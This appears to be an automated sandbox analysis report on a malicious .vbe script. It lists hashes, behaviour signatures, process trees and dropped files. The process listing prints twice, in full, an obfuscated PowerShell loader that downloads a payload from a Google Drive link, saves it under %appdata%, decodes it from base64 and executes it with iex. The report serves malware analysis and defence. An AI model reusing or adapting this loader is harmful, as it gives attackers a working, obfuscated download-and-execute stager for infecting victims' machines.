Analysis
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max time kernel
120s -
max time network
126s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 01:20
Static task
static1
Behavioral task
behavioral1
Sample
383045b66fe2c7bc0329fe7c671ab1b7d6c2a5334530f4972e0a364a2382c9f3.vbe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
383045b66fe2c7bc0329fe7c671ab1b7d6c2a5334530f4972e0a364a2382c9f3.vbe
Resource
win10v2004-20240508-en
General
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Target
383045b66fe2c7bc0329fe7c671ab1b7d6c2a5334530f4972e0a364a2382c9f3.vbe
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Size
5KB
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MD5
ee79e648e91b1ce814880ccde05bc2f5
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SHA1
7b42afec990d74d33d650d4d82b85057f30fad0c
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SHA256
383045b66fe2c7bc0329fe7c671ab1b7d6c2a5334530f4972e0a364a2382c9f3
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SHA512
769dae3c283203508d24e1edf4b4619498db1af9f2ca90dedbbf538ec15d5ff9d25a912a1c12221dc6cef3af1d41051bd15fea827f310aaacc2554d220ae3ad8
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SSDEEP
96:Q1k8HdF1YeCbuTUtYX3Mu0sTwsZ0pstwIjzSv+vvddxDpE5IHf0d21XmwDCToWHO:QHHj0tQ3z0sZwstwIjzyYvddxDa5IHfL
Malware Config
Signatures
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Blocklisted process makes network request 2 IoCs
Processes:
powershell.exeflow pid process 5 2644 powershell.exe 7 2644 powershell.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs
Processes:
powershell.exepid process 2484 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Suspicious behavior: EnumeratesProcesses 3 IoCs
Processes:
powershell.exepowershell.exepid process 2644 powershell.exe 2484 powershell.exe 2484 powershell.exe -
Suspicious use of AdjustPrivilegeToken 2 IoCs
Processes:
powershell.exepowershell.exedescription pid process Token: SeDebugPrivilege 2644 powershell.exe Token: SeDebugPrivilege 2484 powershell.exe -
Suspicious use of WriteProcessMemory 18 IoCs
Processes:
WScript.exepowershell.exepowershell.exedescription pid process target process PID 2492 wrote to memory of 2644 2492 WScript.exe powershell.exe PID 2492 wrote to memory of 2644 2492 WScript.exe powershell.exe PID 2492 wrote to memory of 2644 2492 WScript.exe powershell.exe PID 2644 wrote to memory of 2432 2644 powershell.exe cmd.exe PID 2644 wrote to memory of 2432 2644 powershell.exe cmd.exe PID 2644 wrote to memory of 2432 2644 powershell.exe cmd.exe PID 2644 wrote to memory of 2484 2644 powershell.exe powershell.exe PID 2644 wrote to memory of 2484 2644 powershell.exe powershell.exe PID 2644 wrote to memory of 2484 2644 powershell.exe powershell.exe PID 2644 wrote to memory of 2484 2644 powershell.exe powershell.exe PID 2484 wrote to memory of 2836 2484 powershell.exe cmd.exe PID 2484 wrote to memory of 2836 2484 powershell.exe cmd.exe PID 2484 wrote to memory of 2836 2484 powershell.exe cmd.exe PID 2484 wrote to memory of 2836 2484 powershell.exe cmd.exe PID 2484 wrote to memory of 1948 2484 powershell.exe wermgr.exe PID 2484 wrote to memory of 1948 2484 powershell.exe wermgr.exe PID 2484 wrote to memory of 1948 2484 powershell.exe wermgr.exe PID 2484 wrote to memory of 1948 2484 powershell.exe wermgr.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\383045b66fe2c7bc0329fe7c671ab1b7d6c2a5334530f4972e0a364a2382c9f3.vbe"1⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Cuarenta = 1;$Snerydde='Sub';$Snerydde+='strin';$Snerydde+='g';Function Sydslesvigsk($Khalifs){$Unspared98=$Khalifs.Length-$Cuarenta;For($Telefonisterne=1;$Telefonisterne -lt $Unspared98;$Telefonisterne+=2){$Unsurmounted+=$Khalifs.$Snerydde.Invoke( $Telefonisterne, $Cuarenta);}$Unsurmounted;}function brndforgiftnings($Baccar50){& ($Naturfredningsforenings) ($Baccar50);}$Gesneriaceae=Sydslesvigsk ' M oKzFiHl lMa /S5 .C0P .(QWJiHnCdaocwYs NBT 1S0,.P0S;. WFi,n 6C4 ;M Gx 6 4 ;C Ir.vP: 1O2R1 . 0G), G e c kSo,/D2 0.1F0P0f1P0P1b fF.i rEeUf,oKx /K1E2A1B.L0M ';$Bagsderyglnet=Sydslesvigsk ' UBs e rN-KATg.epn.tH ';$Interessentselskaber136=Sydslesvigsk '.hOt.t,p,s,:B/C/.dBr.iAvSe ..gSoCo,gVlLe,.,c oTmB/Du c ?ue.x p.oSr.t = dNoMwOnAlSo.a dK&DiLdB=O1U6LUBB L.jUa VBWUQ n 1FXU_ M ITS L,4N9 y a,2 h.KMB e,m jFj,X.SD0 ';$Uskrevet=Sydslesvigsk 'E> ';$Naturfredningsforenings=Sydslesvigsk 'Ri e xe ';$Rottweileren='Spilerens';$Gratias = Sydslesvigsk 'Pe c hAo ,%LaPp p dPa.tAaB%A\ RTu dRk.b.iKnRgae nDsBe rP.FUTdrv & &R .e c h,o. Stp ';brndforgiftnings (Sydslesvigsk ' $ gBl,o,bCa l :RFSi l.t.eNrPpfr.o.gPrCa m m,e tW=S(.c.mSd, /ScL O$DGGr a t iMaTs )V ');brndforgiftnings (Sydslesvigsk ' $VgOlAo.b aRlt:SP,hSa gSe d aXe.nRiBc a l.=E$SIDnJtCe,rLePsSs,eQnBt sKeDlAsKkTa.bOe rF1 3M6,. sEpPl,i.tP(K$IU.sPkSr e vEeLt )L ');$Interessentselskaber136=$Phagedaenical[0];$Cartelize= (Sydslesvigsk 'H$.gSl o b.aOl :,N eBdBk,mSp eId e =,N eKwT- ORb.j e.cNt RS yFsGtSe,mP..N e tH.SWTeGb CHlCiFeAnCt');$Cartelize+=$Filterprogrammet[1];brndforgiftnings ($Cartelize);brndforgiftnings (Sydslesvigsk ' $SN,eLd kSm p e dUe,.KH e a.d eKr,s [.$ B.aNg sedReTr.y,gSlRn,eSt.] = $,G eBs,nFe r iUaMc emaKe ');$Bifangsternes=Sydslesvigsk ' $SN e d k m p eSdAea. DToUwKn.lPo,a dAFEi lRe,( $FI,nStEeGr.e s.sBesnAt,s eFlSs k a bTe.r 1T3I6P,C$MSGuDbOsSt a.l,aSgSmCiCt e,)P ';$Substalagmite=$Filterprogrammet[0];brndforgiftnings (Sydslesvigsk 'P$ng l.o b a lA:PA mSbUu l.o m a n c yL= (PTCe.sBtP- P aCtNhD B$.S.u.bjsHtCaCl aFg.m,i t eD). ');while (!$Ambulomancy) {brndforgiftnings (Sydslesvigsk 'L$SgSlRoSb.a lS:.MDi a =,$AtWr.u eI ') ;brndforgiftnings $Bifangsternes;brndforgiftnings (Sydslesvigsk ' SEt aAr tA-US.l e eBp B4D ');brndforgiftnings (Sydslesvigsk 'M$Mg.l,o,bFaIl,:DAAmDb uVlBo,mOaSn c y,= (FT,eIsmt -.P aCt hP N$ S uUbHs tRaOlNa,g m iMtSe ) ') ;brndforgiftnings (Sydslesvigsk ' $ g lRo b a l : G.aEs e,nM= $ gPlMo b aTl.:MAKc hui nFeBs sF+M+M%V$FP,h.a g.e dTa eNn i.cFa.l,..c oPu nBtR ') ;$Interessentselskaber136=$Phagedaenical[$Gasen];}$aiery=384974;$Clockcase=25303;brndforgiftnings (Sydslesvigsk 'D$Ng l oCbEa,l : OBpFkSr,vpetnVdGe sC = aG eAt -TC oGnHt e n tU .$.S.udb.s t aNlbaUgKmCiLt eT ');brndforgiftnings (Sydslesvigsk 'd$,gFl,oPb a l :AE sAkOa p ils,tAi,s kR .=D U[FSAy,s t eUmG.ICMoAnPvTeLrrt ] :,: F,rFo.mEBdaKsBe 6 4.S t,rPiPn ga(S$POUpRkSrTvPe nJd e s )I ');brndforgiftnings (Sydslesvigsk ',$.gOl oSbKa lL: FFiSsOkDeCp,r oHd,uFk,tSe r sI Y=L ,[.S.yBsStCeBmL.BT.e,x,tS.LE,nOc,oSdDi n gA]O:.: AUS C,I I .BG,e t,S t.r.i,n g (,$NE s kUaOp.i.sStIiOsAk )A ');brndforgiftnings (Sydslesvigsk 'S$AgNlPoDb aGl :TB,e lSi nBeP= $ FFi.sukBeApMr,oHdMu k tUeSr sS.as uLb s t.rPiNnBg (C$DasiMe,rTy ,,$.C,lgo cOkBc a s.eA)C ');brndforgiftnings $Beline;"2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Rudkbingenser.Udv && echo t"3⤵
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C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Cuarenta = 1;$Snerydde='Sub';$Snerydde+='strin';$Snerydde+='g';Function Sydslesvigsk($Khalifs){$Unspared98=$Khalifs.Length-$Cuarenta;For($Telefonisterne=1;$Telefonisterne -lt $Unspared98;$Telefonisterne+=2){$Unsurmounted+=$Khalifs.$Snerydde.Invoke( $Telefonisterne, $Cuarenta);}$Unsurmounted;}function brndforgiftnings($Baccar50){& ($Naturfredningsforenings) ($Baccar50);}$Gesneriaceae=Sydslesvigsk ' M oKzFiHl lMa /S5 .C0P .(QWJiHnCdaocwYs NBT 1S0,.P0S;. WFi,n 6C4 ;M Gx 6 4 ;C Ir.vP: 1O2R1 . 0G), G e c kSo,/D2 0.1F0P0f1P0P1b fF.i rEeUf,oKx /K1E2A1B.L0M ';$Bagsderyglnet=Sydslesvigsk ' UBs e rN-KATg.epn.tH ';$Interessentselskaber136=Sydslesvigsk '.hOt.t,p,s,:B/C/.dBr.iAvSe ..gSoCo,gVlLe,.,c oTmB/Du c ?ue.x p.oSr.t = dNoMwOnAlSo.a dK&DiLdB=O1U6LUBB L.jUa VBWUQ n 1FXU_ M ITS L,4N9 y a,2 h.KMB e,m jFj,X.SD0 ';$Uskrevet=Sydslesvigsk 'E> ';$Naturfredningsforenings=Sydslesvigsk 'Ri e xe ';$Rottweileren='Spilerens';$Gratias = Sydslesvigsk 'Pe c hAo ,%LaPp p dPa.tAaB%A\ RTu dRk.b.iKnRgae nDsBe rP.FUTdrv & &R .e c h,o. Stp ';brndforgiftnings (Sydslesvigsk ' $ gBl,o,bCa l :RFSi l.t.eNrPpfr.o.gPrCa m m,e tW=S(.c.mSd, /ScL O$DGGr a t iMaTs )V ');brndforgiftnings (Sydslesvigsk ' $VgOlAo.b aRlt:SP,hSa gSe d aXe.nRiBc a l.=E$SIDnJtCe,rLePsSs,eQnBt sKeDlAsKkTa.bOe rF1 3M6,. sEpPl,i.tP(K$IU.sPkSr e vEeLt )L ');$Interessentselskaber136=$Phagedaenical[0];$Cartelize= (Sydslesvigsk 'H$.gSl o b.aOl :,N eBdBk,mSp eId e =,N eKwT- ORb.j e.cNt RS yFsGtSe,mP..N e tH.SWTeGb CHlCiFeAnCt');$Cartelize+=$Filterprogrammet[1];brndforgiftnings ($Cartelize);brndforgiftnings (Sydslesvigsk ' $SN,eLd kSm p e dUe,.KH e a.d eKr,s [.$ B.aNg sedReTr.y,gSlRn,eSt.] = $,G eBs,nFe r iUaMc emaKe ');$Bifangsternes=Sydslesvigsk ' $SN e d k m p eSdAea. DToUwKn.lPo,a dAFEi lRe,( $FI,nStEeGr.e s.sBesnAt,s eFlSs k a bTe.r 1T3I6P,C$MSGuDbOsSt a.l,aSgSmCiCt e,)P ';$Substalagmite=$Filterprogrammet[0];brndforgiftnings (Sydslesvigsk 'P$ng l.o b a lA:PA mSbUu l.o m a n c yL= (PTCe.sBtP- P aCtNhD B$.S.u.bjsHtCaCl aFg.m,i t eD). ');while (!$Ambulomancy) {brndforgiftnings (Sydslesvigsk 'L$SgSlRoSb.a lS:.MDi a =,$AtWr.u eI ') ;brndforgiftnings $Bifangsternes;brndforgiftnings (Sydslesvigsk ' SEt aAr tA-US.l e eBp B4D ');brndforgiftnings (Sydslesvigsk 'M$Mg.l,o,bFaIl,:DAAmDb uVlBo,mOaSn c y,= (FT,eIsmt -.P aCt hP N$ S uUbHs tRaOlNa,g m iMtSe ) ') ;brndforgiftnings (Sydslesvigsk ' $ g lRo b a l : G.aEs e,nM= $ gPlMo b aTl.:MAKc hui nFeBs sF+M+M%V$FP,h.a g.e dTa eNn i.cFa.l,..c oPu nBtR ') ;$Interessentselskaber136=$Phagedaenical[$Gasen];}$aiery=384974;$Clockcase=25303;brndforgiftnings (Sydslesvigsk 'D$Ng l oCbEa,l : OBpFkSr,vpetnVdGe sC = aG eAt -TC oGnHt e n tU .$.S.udb.s t aNlbaUgKmCiLt eT ');brndforgiftnings (Sydslesvigsk 'd$,gFl,oPb a l :AE sAkOa p ils,tAi,s kR .=D U[FSAy,s t eUmG.ICMoAnPvTeLrrt ] :,: F,rFo.mEBdaKsBe 6 4.S t,rPiPn ga(S$POUpRkSrTvPe nJd e s )I ');brndforgiftnings (Sydslesvigsk ',$.gOl oSbKa lL: FFiSsOkDeCp,r oHd,uFk,tSe r sI Y=L ,[.S.yBsStCeBmL.BT.e,x,tS.LE,nOc,oSdDi n gA]O:.: AUS C,I I .BG,e t,S t.r.i,n g (,$NE s kUaOp.i.sStIiOsAk )A ');brndforgiftnings (Sydslesvigsk 'S$AgNlPoDb aGl :TB,e lSi nBeP= $ FFi.sukBeApMr,oHdMu k tUeSr sS.as uLb s t.rPiNnBg (C$DasiMe,rTy ,,$.C,lgo cOkBc a s.eA)C ');brndforgiftnings $Beline;"3⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c "echo %appdata%\Rudkbingenser.Udv && echo t"4⤵
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C:\Windows\SysWOW64\wermgr.exe"C:\Windows\system32\wermgr.exe" "-outproc" "2484" "1124"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
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C:\Users\Admin\AppData\Local\Temp\OutofProcReport259501762.txtFilesize
1KB
MD5d9de87597f3febdfae9b3ecfa90cd91b
SHA14a65592f886991d7868263221b73c28e3e2fc84b
SHA2568a154c39325467b0757453ff0d99cdd29789e25c1e6d206d29225386b7e0a363
SHA512e7fc3d76f0e10efb1963943f72dbb7208e5438cbeaf09a8ae04f326ff105fe8d633effb0b7eec6a341ab61384293cdf18cd03d66648afdbd92b0203648b29370
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\BUEL19GZG0J4Z4UWQXMC.tempFilesize
7KB
MD543fbe842f84e0c4740e2c372d570389d
SHA1b76318b706c0863d893a6cfbb108bbcdffec60ca
SHA25607aa467d1aade98aeea7cc10f33edbb5667a5ff6341367c84804b91bda8e2380
SHA512ec8d1889337569f832bbcc9278fc1f3e6325405fc33e27847cebf4d580a400663518d16e5e5f649a05ce44161c4edb07ebdf76de8451bd835491cfab36743c45
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C:\Users\Admin\AppData\Roaming\Rudkbingenser.UdvFilesize
534KB
MD59954201e4cf053ed914a27ebc5c0afcb
SHA1c78635b446c8e6ce924f5eb5f186110eba6dbc34
SHA256816ab3bd778e5e1f8aa7d8e225b5de50e977990b2217ba2fe28c0a856ff5a2e1
SHA512cd8574c186fd9d45a7597068b5d66de81843cd9a2c593e5326e19f354f6d94e8739a81a141694d8741730cfb174cee797c316a7326d9bd01218e8c8c0452535d
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memory/2484-21-0x00000000061C0000-0x00000000084F0000-memory.dmpFilesize
35.2MB
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memory/2644-7-0x000007FEF58C0000-0x000007FEF625D000-memory.dmpFilesize
9.6MB
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memory/2644-9-0x000007FEF58C0000-0x000007FEF625D000-memory.dmpFilesize
9.6MB
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memory/2644-10-0x000007FEF58C0000-0x000007FEF625D000-memory.dmpFilesize
9.6MB
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memory/2644-11-0x000007FEF58C0000-0x000007FEF625D000-memory.dmpFilesize
9.6MB
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memory/2644-8-0x000007FEF58C0000-0x000007FEF625D000-memory.dmpFilesize
9.6MB
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memory/2644-4-0x000007FEF5B7E000-0x000007FEF5B7F000-memory.dmpFilesize
4KB
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memory/2644-17-0x000007FEF58C0000-0x000007FEF625D000-memory.dmpFilesize
9.6MB
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memory/2644-18-0x000007FEF5B7E000-0x000007FEF5B7F000-memory.dmpFilesize
4KB
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memory/2644-6-0x0000000002490000-0x0000000002498000-memory.dmpFilesize
32KB
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memory/2644-5-0x000000001B120000-0x000000001B402000-memory.dmpFilesize
2.9MB
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memory/2644-24-0x000007FEF58C0000-0x000007FEF625D000-memory.dmpFilesize
9.6MB